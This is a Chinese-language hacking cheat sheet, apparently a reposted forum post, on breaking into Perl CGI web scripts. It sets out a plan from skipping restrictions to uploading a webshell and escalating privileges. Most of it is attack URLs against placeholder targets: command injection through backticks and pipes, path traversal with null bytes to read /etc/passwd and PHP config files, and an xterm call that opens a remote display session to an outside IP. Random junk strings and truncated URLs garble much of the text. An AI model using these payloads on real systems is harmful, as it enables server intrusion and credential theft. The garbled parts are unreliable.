总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
. ]/ ?5 T( O0 N6 Q' ~cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 " B1 s% H1 S: U* j8 Z2 Y: _; a7 K
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 ) R5 k3 |8 Z; u7 T8 b8 u
注“ 5 `. f4 g2 J: `8 \
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
# _9 t N' H' L* C/ h以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
$ k! L/ ^. N) u* z& T) S5 X+ T
) V: V% \: s/ Y4 nhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造
3 s# E G$ F; P3 u; A7 t8 {http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 8 Z; c3 @( b1 A e
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
" z% F$ I6 _; Ahttp://target.com/cgi-bin/home/news/sub.pl?`id`
; ~ X) I3 M2 r! D: chttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
4 e% N" f' p; g- `http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
1 h0 E5 G- V% J4 \0 v0 ^1 _- u% S4 e7 _1 R7 {5 i$ H2 }
http://target.com/test.pl;ls| , D; y7 W8 S* n% m" g: w
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| - Q1 D" a; p. N! l/ C. c
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| : l t& }1 B' D
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 % U' A" y2 U- W' J4 k* Y6 ^9 M
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
- ]$ v( ]8 `, [% y4 t4 I ]4 Whttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
/ c# V/ i2 R. M) m
7 C; x+ h7 X$ t" f) \2 b* shttp://target.com/test.pl?&........ /../../etc/passwd - V( X# z9 `; x! a) K* s
' C: t8 C: @5 j$ w, Phttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
& D1 q6 R% O5 p# T" Q% ?# ?http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 % v; J" p' N* ] a b
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
7 j/ r. i: w* r+ i0 N( m' M; H$ F0 ]6 W% m _0 z/ b
http://www.target.org/show.php?f ... /include/config.php 查看php代码
' a: `2 o/ |5 P) X+ w, whttp://www.target.org/show.php?f ... ng/admin/global.php 9 L, K+ w9 b/ g3 Z. ?8 |8 [
4 V) p- N; e' r; ^5 Q" e
emm和ps的一句话/ m( C' ?: ]; e7 D
0 H0 k. t& ~' b
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 4 _6 v* f, Y' d* l# A/ S
) C/ r. o/ M$ q$ W1 L/ x0 w g>bbb%20|
: v1 ?) f' u) d* S+ _
- j4 c: X8 o, f3 O0 Khttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
g/ R8 r$ l' a. w+ g
# ?2 x+ R! h, ?- whttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
8 K( o5 c" U. S( Z9 |9 chttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
& C N) \' h( x/ t; d: K# h( f8 d3 J" b% A$ y% {: c8 F
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 ; E6 I. \1 w3 L6 t- O) Z
http://target.com/index.html#cmd.exe + P/ o" v7 q3 o7 X2 N; F, r
http://target.com/index.html?dummyparam=xp_cmdshell
& |& v1 u/ ~& b- |. ]" llynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd 7 w, P5 _' P: h4 [7 K# f
|